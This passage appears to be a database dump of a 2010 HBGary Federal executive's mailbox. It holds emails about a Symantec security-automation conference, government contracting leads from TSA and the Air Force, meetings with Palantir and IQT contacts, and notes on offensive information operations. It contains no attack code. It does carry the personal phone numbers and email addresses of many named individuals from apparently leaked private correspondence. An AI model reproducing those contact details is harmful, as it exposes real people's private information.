Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, July 23, 2010 11:33 AM\r\nTo: \'Rich Cummings\'; \'Greg Hoglund\'; \'Bob Slapnik\'\r\nSubject: FW: Invite: 13 Aug 2010 - Join Us for a Public - Private\r\nSecurity Automation Collaboration Meeting\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI think you both should attend\r\nthis.&nbsp; Bob, you might want to too, Tony Sager will be there.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bartock, Paul F.\r\n[mailto:p.bartoc@radium.ncsc.mil] \r\nSent: Wednesday, July 21, 2010 4:16 PM\r\nTo: Penny Leavy\r\nSubject: Invite: 13 Aug 2010 - Join Us for a Public - Private Security\r\nAutomation Collaboration Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    &nbsp;&nbsp;\r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    &nbsp;\r\n    Public\r\n    &#8211; Private Security Automation Collaboration Conference \r\n    \r\n    Join Symantec for the first public-private led conference designed to\r\n    create bridges and close the gap between industry and government sponsored\r\n    network security automation standards.&nbsp; Speakers from DHS, NIST, NSA,\r\n    and others will present in the morning session, followed by industry\r\n    presentations from the Trusted Computing Group and other industry thought\r\n    leaders driving standards initiatives. Group discussions, and capability\r\n    demonstrations will take place in the afternoon. Click\r\n    here to register now.\r\n    \r\n    During this collaborative conference, we will hear from the government\r\n    about the direction of their current and next generation security\r\n    automation initiatives, align and calibrate alongside with industry\r\n    initiatives in areas such as cloud computing and network connect standards.\r\n    \r\n    Join us on August 13th:\r\n    \r\n     Government Speakers\r\n     \r\n      Tony Sager (NSA)\r\n      Tim Grance (NIST)\r\n      Stephen Quinn (NIST)\r\n      Matt Coose (DHS)\r\n     \r\n     Industry &#8211; TCG &nbsp;&#8211; presentation,\r\n         discussion, and demo &#8211; TNC &amp; SCAP\r\n     Industry &#8211; Symantec/Cisco &#8211;\r\n         presentation, discussion, and demo &#8211; network device configuration\r\n         evaluation &amp; SCAP\r\n     And additional panels as well!\r\n    \r\n    \r\n     \r\n      \r\n      Time/Date: &nbsp;&nbsp;&nbsp; &nbsp;\r\n      Friday,\r\n      August 13th, 2010\r\n      10:00 am\r\n      &#8211; 04:00 pm PST\r\n      CLICK\r\n      HERE TO REGISTER\r\n      \r\n      \r\n      Location:\r\n      Symantec\r\n      350 Ellis Street\r\n      Mountain View, CA 94043\r\n      \r\n     \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\nBest Regards,\r\n\r\nPaul Bartock\r\n\r\n------------------------------------------------------------------------------------\r\nPaul F. Bartock Jr \r\nVAO Transformation SPO\r\nVulnerability Analysis &amp; Operations Group (VAO/I7)\r\nInformation Assurance Directorate\r\nNational Security Agency\r\nemail : pfbart2@nsa.gov\r\nphone (410)854-9860\r\n------------------------------------------------------------------------------------\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3034 - Release Date: 08/01/10\r\n14:40:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6772,'aaron_hbgary_com/6772.html'),(9455,'2010-08-02','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297007271.M95882P14101Q4309.eml','aaron@hbgary.com','Documents Available','\r\n\r\nDocuments available on Zosh\r\n\r\n\r\n\r\nAn email with the following attachments was received on Mon, Aug 2, \'10 at 7:06 PM from aaron@hbgary.com.\r\n \r\n\r\n\r\n    DMI-HBGary TA 0710 TSA ITSSS.pdf\r\n\r\n\r\nThese documents are now available in Zosh. \r\n\r\n\r\nStart the Zosh application to view the documents.  If you are already in the Zosh application, \r\nyou may press the refresh button in the top left corner of the Home view.\r\n\r\n\r\n\r\nOur document conversion has been significantly improved as of July 15, 2010.  Please try it out and let us know what you think.\r\nWe use a commerical conversion tool that supports PDF conversion from Word, Excel, Powerpoint, JPG, PNG, GIF, BMP and TIFF\r\n\r\n\r\n			  \r\nThank you for using Zosh.  For up to date info.  @zoshapp.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',307,'aaron_hbgary_com/307.html'),(9456,'2010-08-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007272.M457849P14101Q4311.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','FW: Invite: 13 Aug 2010 -  Join Us for a Public - Private Security Automation Collaboration Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bartock, Paul F.\r\n[mailto:p.bartoc@radium.ncsc.mil] \r\nSent: Wednesday, July 21, 2010 4:16 PM\r\nTo: Penny Leavy\r\nSubject: Invite: 13 Aug 2010 - Join Us for a Public - Private Security\r\nAutomation Collaboration Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    &nbsp;&nbsp;\r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    &nbsp;\r\n    Public\r\n    &#8211; Private Security Automation Collaboration Conference \r\n    \r\n    Join Symantec for the first public-private led conference designed to\r\n    create bridges and close the gap between industry and government sponsored\r\n    network security automation standards.&nbsp; Speakers from DHS, NIST, NSA,\r\n    and others will present in the morning session, followed by industry\r\n    presentations from the Trusted Computing Group and other industry thought\r\n    leaders driving standards initiatives. Group discussions, and capability\r\n    demonstrations will take place in the afternoon. Click\r\n    here to register now.\r\n    \r\n    During this collaborative conference, we will hear from the government\r\n    about the direction of their current and next generation security\r\n    automation initiatives, align and calibrate alongside with industry\r\n    initiatives in areas such as cloud computing and network connect standards.\r\n    \r\n    Join us on August 13th:\r\n    \r\n     Government Speakers\r\n     \r\n      Tony Sager (NSA)\r\n      Tim Grance (NIST)\r\n      Stephen Quinn (NIST)\r\n      Matt Coose (DHS)\r\n     \r\n     Industry &#8211; TCG &nbsp;&#8211; presentation,\r\n         discussion, and demo &#8211; TNC &amp; SCAP\r\n     Industry &#8211; Symantec/Cisco &#8211;\r\n         presentation, discussion, and demo &#8211; network device configuration\r\n         evaluation &amp; SCAP\r\n     And additional panels as well!\r\n    \r\n    \r\n     \r\n      \r\n      Time/Date: &nbsp;&nbsp;&nbsp; &nbsp;\r\n      Friday,\r\n      August 13th, 2010\r\n      10:00 am\r\n      &#8211; 04:00 pm PST\r\n      CLICK\r\n      HERE TO REGISTER\r\n      \r\n      \r\n      Location:\r\n      Symantec\r\n      350 Ellis Street\r\n      Mountain View, CA 94043\r\n      \r\n     \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\nBest Regards,\r\n\r\nPaul Bartock\r\n\r\n------------------------------------------------------------------------------------\r\nPaul F. Bartock Jr \r\nVAO Transformation SPO\r\nVulnerability Analysis &amp; Operations Group (VAO/I7)\r\nInformation Assurance Directorate\r\nNational Security Agency\r\nemail : pfbart2@nsa.gov\r\nphone (410)854-9860\r\n------------------------------------------------------------------------------------\r\n\r\n&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8902,'aaron_hbgary_com/8902.html'),(9457,'2010-08-02','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297007273.M150726P14101Q4312.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Met with Bill this morning?','Sure, why don\'t you swing by for lunch on Thurs.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 02, 2010 3:04 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Met with Bill this morning?\r\n\r\nYes he does.  So does his Boss Ken Bajaj.\r\n\r\nMaybe lunch? :)  I have to jet around 130.\r\n\r\nAaron\r\n\r\nOn Aug 2, 2010, at 2:59 PM, Matthew Steckman wrote:\r\n\r\n> I did meet with Bill, he has quite the resume.\r\n> \r\n> I\'ll be in NYC Tue and Wednesday.  I could possibly do Thursday sometime\r\nin\r\n> the afternoon.\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantir.com | 202-257-2270\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, August 02, 2010 2:56 PM\r\n> To: Matthew Steckman\r\n> Subject: Met with Bill this morning?\r\n> \r\n> Hey want to get together tomorrow afternoon or Wednesday?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13370,'aaron_hbgary_com/13370.html'),(9458,'2010-08-02','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297007274.M657919P14101Q4313.eml','aaron@hbgary.com','Here is your completed Zosh document.','\r\n\r\nYou just filled out and signed a document on your iPhone!\r\n\r\n\r\n&nbsp;Executed with Zosh www.zosh.com.\r\n\r\n\r\n',8516,'aaron_hbgary_com/8516.html'),(9459,'2010-08-02','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297007275.M843291P14101Q4314.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Thanks and TSA Opportunity','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, FYI on\r\nthe (two month old) TSA request for a forensics capability. Bill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: William Luti \r\nSent: Monday, August 02, 2010 3:15 PM\r\nTo: \'Matthew Steckman\'\r\nCc: \'jwootton@palantirtech.com\'\r\nSubject: RE: Thanks and TSA Opportunity\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Matt.\r\n\r\n&nbsp;\r\n\r\nOn a related\r\nmatter, you may have seen this TSA request for forensics capability (below). It&#8217;s\r\ntwo months old but interesting nonetheless.\r\n\r\n&nbsp;\r\n\r\nBill\r\n\r\n&nbsp;\r\n\r\nhttp://fcw.com/Articles/2010/06/02/Web-TSA-Enterprise-cyber-forensics.aspx?p=1\r\n\r\n&nbsp;\r\n\r\nhttps://www.fbo.gov/?s=opportunity&amp;mode=form&amp;id=a7696af665aa4a29f85a86770991b63d&amp;tab=core&amp;_cview=0\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Matthew Steckman [mailto:msteckman@palantir.com]\r\n\r\nSent: Monday, August 02, 2010 1:53 PM\r\nTo: John Fanguy\r\nCc: William Luti; NDA\r\nSubject: RE: Thanks and TSA Opportunity\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNice meeting you too.&nbsp;\r\nLooking forward to getting started.\r\n\r\n&nbsp;\r\n\r\nPlease CC nda@palantir.com to any materials sent so\r\nthat our general counsel can be in the loop for signatures.&nbsp; \r\n\r\n&nbsp;\r\n\r\nLet me know when you want to\r\nchat about DISA.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1126,'aaron_hbgary_com/1126.html'),(9460,'2010-08-02','\"Jeff Castelli\" <JeffCastelli@phaseone.net>','/aaron@hbgary.com/new/1297007276.M317754P14101Q4315.eml','aaron@hbgary.com,\"McGovern, Mark\" <MMcGovern@iqt.org>','Intro','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, pls meet Mark McGovern, who runs the cyber practice at\r\nIQT.&nbsp; (Mark, meet Aaron Barr, CEO of HB Gary Federal.)&nbsp; Mark advises that he\r\nhas met with and knows well the HB Gary founders, so he is happy to meet with\r\nyou to discuss what&#8217;s unique and interesting at HB Gary Federal.&nbsp; Over to\r\nyou guys to take it from here.&nbsp; Tks, Mark!&nbsp; Take care,\r\n\r\n&nbsp;\r\n\r\nJeff\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nVP,\r\nDirector Washington Operations\r\n\r\nPhaseOne\r\nCommunications\r\n\r\n&nbsp;\r\n\r\nemail:&nbsp;\r\njeffcastelli@phaseone.net\r\n\r\nOffice:&nbsp;&nbsp;&nbsp;&nbsp;\r\n571-830-6816\r\n\r\nFax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n571-830-6819\r\n\r\nCell:&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp; 310 612 6413\r\n\r\n&nbsp;\r\n\r\nThis\r\nemail is confidential and intended solely for the use of the individual or\r\norganization to whom it is addressed. &nbsp;If you are not the intended\r\nrecipient of this email, you should not copy, modify, distribute, or take any\r\naction in reliance on it. &nbsp;If you have received this email in error,\r\nplease notify the sender and delete this email from your system. &nbsp;Although\r\nthis email has been checked for viruses and other defects, no responsibility\r\ncan be accepted for any loss or damage arising from its receipt or use.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14486,'aaron_hbgary_com/14486.html'),(9461,'2010-08-02','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297007276.M939959P14101Q4316.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Future of Security','I have transcribed most of these ideas onto a popplet.  I think its forming to be a great framework.  In fact, it could change the world - it could very easily become the new doctrine of cyber warfare for the United States.  This will make a difference.\r\n\r\n \r\n-Greg\r\nOn Sun, Aug 1, 2010 at 9:58 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThe trajectory of technology.  Mobility + Social + CloudThis leads to perimeterless environment, promiscuous networking, open PII.\r\nComputer security is not possible, not remotely given the current trajectory of security.  Even host based behavioral detection can not keep up with this without significant additional capabilities.  I see only two paths to improving this.  As the stakes are raised to organized crime and nation state FIS (Foreign Intelligence Services) anything is possible.  Backbone compromises, Supply Chain compromises, specialized insider threats, legitimate commercial services.\r\nChoices to better security.Complete rework of the computer and communications architecture. (not likely and certainly not within 5 years).  There are some technologies short of this that will help; broad distribution and management of personal certs and pervasive encryption.  But the implementation of this is a bugger.  Again long ways away.\r\norIntelligence, Incident Response, and IO.The area Incident Response requires some clarification because I don&#39;t mean it in the traditionally understood sense.  I mean human and system response to abnormal cyber conditions.  I mean system and mission resiliency in the face of compromise and attack.  This requires good intelligence, we can improve human and system response with better intelligence.\r\nIO requires some intelligence but is more a feeder to intelligence.  All offense all the time.  Forward deployed and embedded capabilities that can give us insight, I&amp;W, knowledge of threats, their intent and capabilities.  This is a blended approach of all of the capabilities available.  Coordinated campaigns\r\nIntelligence.  This is a bugger.  Some of it because of organizational and bureaucratic boundaries.  Some of it is we just don&#39;t know how to organize the data.  Threats are complex as we have discussed.  How do you develop a threat focused intelligence capability?\r\nMaybe the focus of our book should be on Intelligence, Incident Response, and IO?  Enumerating and discussing the components of the threat should allow us to organize a chapter on what a threat intelligence schema would look like?\r\nJust some thoughts.  BTW, if you haven&#39;t seen the movie Unthinkable...definitely worth seeing.  The movie will not make you feel good though.Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',3693,'aaron_hbgary_com/3693.html'),(9462,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007280.M599971P14101Q4317.eml','\"Ianuar Badawi\" <ibadawi@digitalmanagement.com>','Re: TA with HBGary for TSA ITSSS','Ian,See attached signed TA.AaronOn Wed, Jul 28, 2010 at 5:52 PM, Ianuar Badawi &lt;ibadawi@digitalmanagement.com&gt; wrote:\r\nAaron:\r\n\r\nAttached is the TA for TSA ITSSS opportunity for your review. If acceptable please sign; otherwise, you may comment using track changes.\r\n\r\nThanks,\r\nIan Badawi\r\nDigital Management, Inc.\r\n\r\n-- Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n\r\n',11535,'aaron_hbgary_com/11535.html'),(9463,'2010-08-02','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297007281.M297554P14101Q4319.eml','\"Papas, David\" <David.Papas@QinetiQ-NA.com>,\"Papas, David\" <David.Papas@QinetiQ-NA.com>,','RE: Contact info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDave\r\n\r\n&nbsp;\r\n\r\nThis two will pass, have cc&#8217;ed them to you all have each other&#8217;s\r\ninfo.\r\n\r\n&nbsp;\r\n\r\nSteve \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Papas, David\r\n[mailto:David.Papas@QinetiQ-NA.com] \r\nSent: Monday, August 02, 2010 1:29 PM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Contact info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDude,\r\n\r\n&nbsp;\r\n\r\nPlease send\r\nme Aaron Barr and Rick Howard&#8217;s emails.\r\n\r\n&nbsp;\r\n\r\nHope you\r\nare not in too much crap with the wife still. &nbsp;; { &gt;\r\n\r\n\\\r\n\r\nPappy\r\n\r\n&nbsp;\r\n\r\nDave Papas\r\n\r\n&nbsp;\r\n\r\nDirector,\r\nCyber Programs\r\n\r\nMission\r\nSolutions Group\r\n\r\nQinetiQ-NA\r\n\r\n&nbsp;\r\n\r\nOffice:\r\n703-852-2991\r\n\r\nCell:\r\n571-422-0098\r\n\r\n&nbsp;\r\n\r\nwww.QinetiQ-NA.com\r\n\r\n&nbsp;\r\n\r\n--------------------------------------------------------------------------\r\n\r\nCONFIDENTIALITY NOTE: The information contained in this message, and any\r\nattachments, may contain confidential and/or privileged material. It is\r\nintended solely for the person or entity to which it is addressed. Any review,\r\nretransmission, dissemination, or taking of any action in reliance upon this\r\ninformation by persons or entities other than the intended recipient is\r\nprohibited. If you received this in error, please contact the sender and delete\r\nthe material from any computer. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3397,'aaron_hbgary_com/3397.html'),(9464,'2010-08-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007281.M521352P14101Q4320.eml','all@hbgary.com','Carma Beedle','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease welcome Carma Beedle to HBGary, inc.&nbsp; Carma starts\r\ntoday dealing with the Northwestern part of the US.&nbsp; &nbsp;Carma was at BH last\r\nweek, helping out in the booth, getting ready for her first day.&nbsp; Carma has\r\nworked at many security start ups like Big Fix and Black Ice as well as twice\r\nat McAfee.&nbsp; She brings a lot of experience and knowledge to the team.\r\n\r\n&nbsp;\r\n\r\nPlease welcome CarmaJ\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',791,'aaron_hbgary_com/791.html'),(9465,'2010-08-02','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007281.M748106P14101Q4321.eml','robert.frisbie@mantech.com','Fwd: Cyber Command and Control (C2)','Interested? &nbsp;We have a relationship with Akamai that could make this interesting. &nbsp;I don\'t have the capacity to prime R&amp;D stuff but would love to support. &nbsp;This also could provide us with needed capability for persistent Internet operations. &nbsp;Could also pitch to iarpa.AaronSent from my iPadBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;Date: August 2, 2010 2:39:03 PM EDTTo: Barr Aaron &lt;aaron@hbgary.com&gt;, mark@hbgary.comSubject: Cyber Command and Control (C2)We may want to look for teammates - this just posted on 7/30.Cyber Command and Control (C2) TechnologiesSolicitation Number: BAA0809-RIKAAgency: Department of the Air ForceOffice: Air Force Materiel CommandLocation: AFRL - Rome Research Sitehttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=469c4244591cd831a56529e46106aba5&amp;tab=core&amp;_cview=1The Air Force Research Laboratory, in partnership with the GlobalCyber Integration Center (GCIC) is soliciting white papers for variousscientific studies, projects, and experiments focused on developingcapabilities to provide the Air Force the means to conduct C2 of cyberassets. GCIC, a sub organization under Air Force Cyber Command(AFCYBER), is chartered to conduct Command and Control and cyberinnovation, experimentation, and transition. For the purpose of thisBAA, AFRL and GCIC will partner to address emerging cyber concepts,technologies, and experimentation to further enhance cyber C2 for thewarfighter.-- Ted Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary FederalOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623www.hbgary.com &nbsp;| &nbsp;ted@hbgary.com',5653,'aaron_hbgary_com/5653.html'),(9466,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007281.M75164P14101Q4318.eml','\"Jeff Castelli\" <JeffCastelli@phaseone.net>,\"Jeff Castelli\" <JeffCastelli@phaseone.net>','Re: Intro','Thanks Jeff,Mark,I would very much like to come in and discuss some ideas with you related to IO, Social Media, Threat Intelligence, and Incident Response and at least get your take/opinion, and then if any of them sufficiently interest you we can go from there.While HBGary and HBGary Federal are very close we are two separate companies and we are focused on slightly different things.If possible could we meet in a cleared space? &nbsp;I have a badge.AaronOn Aug 2, 2010, at 3:19 PM, Jeff Castelli wrote:Aaron, pls meet Mark McGovern, who runs the cyber practice at IQT.&nbsp; (Mark, meet Aaron Barr, CEO of HB Gary Federal.)&nbsp; Mark advises that he has met with and knows well the HB Gary founders, so he is happy to meet with you to discuss what’s unique and interesting at HB Gary Federal.&nbsp; Over to you guys to take it from here.&nbsp; Tks, Mark!&nbsp; Take care,&nbsp;Jeff&nbsp;&nbsp;VP, Director Washington OperationsPhaseOne Communications&nbsp;email:&nbsp;&nbsp;jeffcastelli@phaseone.netOffice:&nbsp;&nbsp;&nbsp;&nbsp; 571-830-6816Fax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 571-830-6819Cell:&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; 310 612 6413&nbsp;This email is confidential and intended solely for the use of the individual or organization to whom it is addressed. &nbsp;If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it. &nbsp;If you have received this email in error, please notify the sender and delete this email from your system. &nbsp;Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8972,'aaron_hbgary_com/8972.html'),(9467,'2010-08-02','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007282.M348968P14101Q4322.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Future of Security','Great. &nbsp;I know i am looking through the right lens but definitely need your help to architect it, turn it into something that is actionable - put the meat into it. &nbsp;We are not going to move forward unless this is put together. &nbsp;I am going to come out for the symantec 1 day conference in mountain view next week. &nbsp;Maybe i can take you up on the kettle one and we can brainstorm a bit.Aaron&nbsp;Sent from my iPadOn Aug 2, 2010, at 3:22 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:I have transcribed most of these ideas onto a popplet.&nbsp; I think its forming to be a great framework.&nbsp; In fact, it could change the world - it could very easily become the new doctrine of cyber warfare for the United States.&nbsp; This will make a difference.\r\n\r\n&nbsp;\r\n-Greg\r\nOn Sun, Aug 1, 2010 at 9:58 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThe trajectory of technology. &nbsp;Mobility + Social + CloudThis leads to perimeterless environment, promiscuous networking, open PII.\r\nComputer security is not possible, not remotely given the current trajectory of security. &nbsp;Even host based behavioral detection can not keep up with this without significant additional capabilities. &nbsp;I see only two paths to improving this. &nbsp;As the stakes are raised to organized crime and nation state FIS (Foreign Intelligence Services) anything is possible. &nbsp;Backbone compromises, Supply Chain compromises, specialized insider threats, legitimate commercial services.\r\nChoices to better security.Complete rework of the computer and communications architecture. (not likely and certainly not within 5 years). &nbsp;There are some technologies short of this that will help; broad distribution and management of personal certs and pervasive encryption. &nbsp;But the implementation of this is a bugger. &nbsp;Again long ways away.\r\norIntelligence, Incident Response, and IO.The area Incident Response requires some clarification because I don\'t mean it in the traditionally understood sense. &nbsp;I mean human and system response to abnormal cyber conditions. &nbsp;I mean system and mission resiliency in the face of compromise and attack. &nbsp;This requires good intelligence, we can improve human and system response with better intelligence.\r\nIO requires some intelligence but is more a feeder to intelligence. &nbsp;All offense all the time. &nbsp;Forward deployed and embedded capabilities that can give us insight, I&amp;W, knowledge of threats, their intent and capabilities. &nbsp;This is a blended approach of all of the capabilities available. &nbsp;Coordinated campaigns\r\nIntelligence. &nbsp;This is a bugger. &nbsp;Some of it because of organizational and bureaucratic boundaries. &nbsp;Some of it is we just don\'t know how to organize the data. &nbsp;Threats are complex as we have discussed. &nbsp;How do you develop a threat focused intelligence capability?\r\nMaybe the focus of our book should be on Intelligence, Incident Response, and IO? &nbsp;Enumerating and discussing the components of the threat should allow us to organize a chapter on what a threat intelligence schema would look like?\r\nJust some thoughts. &nbsp;BTW, if you haven\'t seen the movie Unthinkable...definitely worth seeing. &nbsp;The movie will not make you feel good though.Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',5457,'aaron_hbgary_com/5457.html'),(9468,'2010-08-02','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297007282.M627245P14101Q4323.eml','\"Inc. HBGARY\" <All@hbgary.com>','Revised Contact List','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThis revised list has Carma Beedle&#8217;s information. \r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nDeeAnn 